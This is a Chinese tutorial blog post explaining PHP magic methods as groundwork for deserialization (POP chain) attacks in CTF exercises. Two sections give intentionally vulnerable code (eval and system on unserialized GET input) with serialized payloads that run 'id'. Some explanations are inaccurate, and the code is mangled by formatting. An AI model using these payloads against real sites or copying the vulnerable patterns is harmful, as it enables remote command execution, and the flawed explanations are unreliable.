PHP魔术方法
PHP 中的"魔术方法"是一组特殊的方法,它们在特定情况下自动被调用。这些方法的名称都是以两个下划线(__
)开头。魔术方法提供了一种方式来执行各种高级编程技巧,使得对象的行为可以更加灵活和强大。以下是一些常见的PHP魔术方法:
__construct()
: 构造函数,当一个新对象被创建时调用。__destruct()
: 析构函数,当一个对象不再被使用时调用。__call($name, $arguments)
: 当调用一个对象中不存在的方法时调用。__callStatic($name, $arguments)
: 当调用一个静态方法不存在时调用。__get($name)
: 当读取一个不可访问的属性时调用。__set($name, $value)
: 当设置一个不可访问的属性时调用。__isset($name)
: 当对不可访问的属性调用 isset()
或 empty()
时调用。__unset($name)
: 当对不可访问的属性调用 unset()
时调用。__sleep()
: 在序列化对象之前调用,通常用于清理任务或返回数组中的哪些属性需要被序列化。__wakeup()
: 在反序列化对象时调用,通常用于重新建立数据库连接或执行其他初始化操作。__toString()
: 当对象被当作字符串使用时调用,例如在 echo
语句中。__invoke()
: 当尝试将对象当作函数调用时执行。__set_state($array)
: 当调用 var_export()
且返回的结果被执行时调用。__clone()
: 当对象被克隆时调用。这些魔术方法提供了对对象生命周期中各种事件的控制,以及对对象行为的定制化。正确和恰当地使用这些方法可以使你的代码更加健壮和灵活
掌握PHP魔术方法分为触发时机--->功能--->参数-->返回值
最低要求:起码知道触发时机,不然对之后pop链的学习影响会很大
很感谢陈腾老师的教导!
接下来我会带领大家一一学习PHP魔术方法
接下来都会是代码加解释的形式和大家一起·学习,
1.——construct()
<?php
highlight_file
(
__FILE__
);
class?
User?
{
????public?
$username
;
????public?function?
__construct
(
$username
)?{
????????
$this
->
username?
=?
$username
;
????????echo?
"
触发了构造函数1次"?
;
????}
}
$test?
=?new?
User
(
"benben"
);
$ser?
=?
serialize
(
$test
);
unserialize
(
$ser
);
?>
输出:触发了构造函数1次
这里是先定义一个类User,下面的public是全局变量的意思,这里提一下,如果使用的是private,那就是属于一个私有属性,也就是说你只能在User这个类里面使用,如果你在外面调用了它,肯定是不行的。接下来public?function?
__construct
(
$username
)?{
????????
$this
->
username?
=?
$username
;
????????echo?
"
触发了构造函数1次"?
;
????}这里就是一个魔术方法,
换句话来说就是user这个类里面有username,和一个魔术方法,后面的代码就是调用user这个类里面的属性而已
搞懂了代码就好说了!$test?
=?new?
User
(
"benben");这里是实例化对象,所以只会在这行代码触发,输出“
触发了构造函数1次”
这个__construct()魔术方法很简单
触发时机:实例化对象时会触发比如($test?
=?new?
User
(
"benben"
);)这里就时实例化对象
功能就是:提前清理不必要的内容
参数:非必要
返回值:
2.__destruct()
在对象的所有的引用被删除或者当对象被显示销毁时执行的魔术方法
比如:<?php
highlight_file
(
__FILE__
);
class?
User?
{
????public?function?
__destruct
()
????{
????????echo?
"
触发了析构函数1次"
.
"<br?/>"?
;
????}
}
$test?
=?new?
User
(
"benben"
);
$ser?
=?
serialize
(
$test
);
unserialize
(
$ser
);
?>
触发了析构函数1次
触发了析构函数1次
__destruct()
触发时机:对象引用完成或对象被销毁;反序列化之后
功能:
参数:
返回值:
来到题目:
<?php
highlight_file(__FILE__);
error_reporting(0);
class?User?{
????var?$cmd?=?"echo?'dazhuang666!!';"?;
????public?function?__destruct()
????{
????????eval?($this->cmd);
????}
}
$ser?=?$_GET["benben"];
unserialize($ser);
拿到这道题目,就直接徒手构造就好了,benben=O:4:"User":1:{s:3:"cmd";s:13:"system('id');";}
首先是object:User对应的是四个字符,里面只有1个成员属性,最后的“;”不要忘记。
直接拿下,这里直接反序列化的时候就已经触发了——dstruct()
3._sleep()
触发时机:_slee[()先执行;序列化之后再执行,也就是序列化前调用
功能:
参数:
返回值:
<?php
highlight_file
(
__FILE__
);
class?
User?
{
????const?
SITE?
=?
'uusama'
;
????public?
$username
;
????public?
$nickname
;
????private?
$password
;
????public?function?
__construct
(
$username
,?
$nickname
,?
$password
)????{
????????
$this
->
username?
=?
$username
;
????????
$this
->
nickname?
=?
$nickname
;
????????
$this
->
password?
=?
$password
;
????}
????public?function?
__sleep
()?{
????????return?array(
'username'
,?
'nickname'
);
????}
}
$user?
=?new?
User
(
'a'
,?
'b'
,?
'c'
);
echo?
serialize
(
$user
);
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
这串代码的意思是一个对象user,还有它的对应属性。
接下来直接_construct魔术方法,因为最下面new User会触发
这个魔术方法,但是后面的sleep遇到serialize又会触发魔术方法_sleep(),这里先触发——construct(),(在实例化前触发)并且把username,nickname,password,为别赋值a,b,c
这里本来应该输出的是三个参数的,但是后面的sleep又触发魔术方法,结果password就不输出
4._wakeup()
这个在做反序列化unserialize()之前触发
触发时机:这个在做反序列化unserialize()之前触发
功能:
参数:
返回值:返回void
<?php
highlight_file(__FILE__);
error_reporting(0);
class?User?{
????const?SITE?=?'uusama';
????public?$username;
????public?$nickname;
????private?$password;
????private?$order;
????public?function?__wakeup()?{
????????system($this->username);
????}
}
$user_ser?=?$_GET['benben'];
unserialize($user_ser);
?>
?benben=O:4:”User”:1:{s:8:”username”;s:2:”id”;}
这里构造1个就好,因为_wakeup()过后就只调用username,其他几个属性就没有必要写了
Ps:反序列化里面对字符串包裹就只能使用双引号,单引号不识别
5._tostring()
触发时机:把对象被当成字符串调用
功能:
参数:
返回值:
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class?
User?
{
????var?
$benben?
=?
"this?is?test!!"
;
?????????public?function?
__toString
()
?????????{
?????????????return?
'
格式不对,输出不了!'
;
??????????}
}
$test?
=?new?
User
()?;
print_r
(
$test
);
echo?
"<br?/>"
;
echo?
$test
;
?>
User Object ( [benben] => this is test!! )
格式不对,输出不了!(这个命令是 $test)所触发的
把类User实例化并且赋值给$test,此时的$test是个对象,调用对象可以使用print_
或者是var_dump
但是如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发tostring()
也就是说后面的echo $test直接当成字符串输出了,这里会触发魔术方法tostring()
6._invoke()
触发时机:把对象被当成函数调用
功能:
参数:
返回值:
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class?
User?
{
????var?
$benben?
=?
"this?is?test!!"
;
?????????public?function?
__invoke
()
?????????{
?????????????echo??
'
它不是个函数!'
;
??????????}
}
$test?
=?new?
User
()?;
echo?
$test?
->
benben
;
echo?
"<br?/>"
;
echo?
$test
()?->
benben
;
?>
this is test!!
它不是个函数!
其实跟tostring差不多,就是(echo?
$test
()?->
benben)
这里直接把它当成函数输出导致了魔术方法触发
7._call()
触发时机:调用了一个根本不存在的方法
功能:
参数:2个参数$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class?
User?
{
????public?function?
__call
(
$arg1
,
$arg2
)
????{
????????echo?
"
$arg1
,
$arg2
[
0
]
"
;
??????????}
}
$test?
=?new?
User
()?;
$test?
->?
callxxx
(
'a'
);
?>
输出:callxxx,a
$test =new User()这句话是把new User()实例化成为一个对象给$test,接下来从test调用出来一个方法callxxx,并且给他传了个参数是a,但是这里根本没有callxxx,所以做不到,这里就触发了魔术方法
$arg1是方法,$arg2是参数
8._callstatic()
触发时机:静态调用或调用成员常量时使用
功能:
参数:2个参数$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class?
User?
{
????public?function?
__callStatic
(
$arg1
,
$arg2
)
????{
????????echo?
"
$arg1
,
$arg2
[
0
]
"
;
??????????}
}
$test?
=?new?
User
()?;
$test
::
callxxx
(
'a'
);
?>
callxxx,a
这里跟_call()差不多一样的,只不过这个是静态调用(比如$test
::
callxxx
(
'a'
);)时使用而已,不是静态调用就不会触发,你可以把::改一下,看看别的还会不会触发
9.__get()
触发时机:调用的成员属性不存在
功能:
参数:
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class?User?{
????public?$var1;
????public?function?__get($arg1)
????{
????????echo??$arg1;
????}
}
$test?=?new?User()?;
$test?->var2;
?>
输出:
var2
这里其实就是少了一个参数var2,但是$test?->var2;这里却要输出var2,所以就会触发get()魔术方法,自动帮你添加一个var2上去
10._set()
触发时机:给不存在的成员属性赋值
功能:
参数:
返回值:不存在的成员属性的名称和赋的值
<?php
highlight_file(__FILE__);
error_reporting(0);
class?User?{
????public?$var1;
????public?function?__set($arg1?,$arg2)
????{
????????echo??$arg1.','.$arg2;
????}
}
$test?=?new?User()?;
$test?->var2=1;
?>
输出:
var2,1
11._isset()
对一个被保护的属性或者根本就不存在的属性,或者私有属性
触发时机:对不可访问属性使用isset()或empty()时,__isset()就会被调用
功能:
参数:
返回值:不存在的成员属性的名称
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class?
User?
{
????private?
$var
;
????public?function?
__isset
(
$arg1?
)
????{
????????echo??
$arg1
;
????}
}
$test?
=?new?
User
()?;
isset(
$test
->
var
);
?>
输出:
var
比如这段代码,因为这里的var只能在当前类中使用,因为这是一个私有属性,你出来后调用肯定不可以,这里一定会触发——isset()魔术方法,最终顺利输出var
12._unset()
触发时机:对不可访问属性使用__unset()时
功能:
参数:
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class?User?{
????private?$var;
????public?function?__unset($arg1?)
????{
????????echo??$arg1;
????}
}
$test?=?new?User()?;
unset($test->var);
?>
输出:
var
13._clone()
触发时机:使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
就是说使用clone()克隆对象完成后,就会触发魔术方法__clone()
功能:
参数:
返回值:
<?php
highlight_file(__FILE__);
error_reporting(0);
class?User?{
????private?$var;
????public?function?__clone(?)
????{
????????echo??"__clone?test";
??????????}
}
$test?=?new?User()?;
$newclass?=?clone($test)
?>
输出:
__clone test
真心希望我的文章能够让大家有所收获!
总结